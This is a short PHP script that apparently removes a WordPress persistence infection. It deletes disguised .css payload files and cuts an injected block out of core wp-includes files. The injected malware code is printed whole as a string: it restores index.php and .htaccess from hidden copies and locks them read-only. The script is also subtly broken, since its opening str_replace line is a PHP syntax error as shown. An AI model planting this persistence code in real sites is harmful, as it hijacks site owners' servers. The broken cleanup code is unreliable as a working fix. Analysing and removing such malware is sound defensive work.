PHP Decode

<?php 
header("Content-Type: text/html;charset=utf-8"); 
ini_set('max_execution_time', '0'); 
error_reporting(E_ALL); 
ini_set('display_errors', '1'); 
$path = str_replace("\", "/", __FILE__); 
$temp = explode("/", $path); 
$path = ''; 
for($i=0;$i<count($temp)-1;$i++){ 
    $path .= $temp[$i]."/"; 
} 
$path = rtrim($path, "/"); 
 
if(file_exists($path.'/wp-admin/css/style-index.css')){ 
    unlink($path.'/wp-admin/css/style-index.css'); 
} 
 
if(file_exists($path.'/wp-admin/css/style-hta.css')){ 
    unlink($path.'/wp-admin/css/style-hta.css'); 
} 
 
$code = '$path = "'.$path.'/"; 
    $index_path = $path."index.php"; 
    $index_png = $path."wp-admin/css/style-index.css"; 
    if(file_exists($index_png)){ 
        if(md5(file_get_contents($index_path)) != md5(file_get_contents($index_png))){ 
            @chmod($index_path, 0644); 
            @file_put_contents($index_path, file_get_contents($index_png)); 
            @chmod($index_path, 0444); 
        } 
    } 
    $htaccess_path = $path.".htaccess"; 
    $htaccess_png = $path."wp-admin/css/style-hta.css"; 
    if(file_exists($htaccess_png)){ 
        if(!file_exists($htaccess_path) or (filesize($htaccess_path) != filesize($htaccess_png))){ 
            @chmod($htaccess, 0644); 
            @file_put_contents($htaccess_path, file_get_contents($htaccess_png)); 
            @chmod($htaccess, 0444); 
        } 
    }'; 
 
$file = array('/wp-includes/version.php','/wp-includes/functions.php','/wp-includes/load.php','/wp-includes/template-loader.php'); 
for($i=0;$i<count($file);$i++){ 
    if(file_exists($path.$file[$i])){ 
        $x = file_get_contents($path.$file[$i]); 
        $y = explode($code, $x); 
        if(isset($y[1])){ 
            echo $path.$file[$i]."<br>"; 
            @file_put_contents($path.$file[$i], $y[0]); 
        } 
    } 
} 
exit('over'); 
?>